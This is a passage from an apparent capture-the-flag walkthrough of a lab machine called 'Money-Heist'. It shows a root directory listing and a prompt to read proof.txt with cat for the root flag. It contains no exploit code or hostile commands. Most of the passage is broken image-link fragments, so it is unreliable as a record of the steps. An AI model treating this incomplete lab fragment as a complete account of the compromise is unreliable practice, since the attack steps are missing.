drwxr-xr-x 2 root root 4096 Oct 6 2020 .nano
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-rw-r--r-- 1 root root 3351 Nov 19 2020 proof.txt
root@Money-Heist:~#
Here, we find a file named (proof.txt), which may contain the
root flag. Open it using the cat command.
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png){kind=small}
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png){kind=small}
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
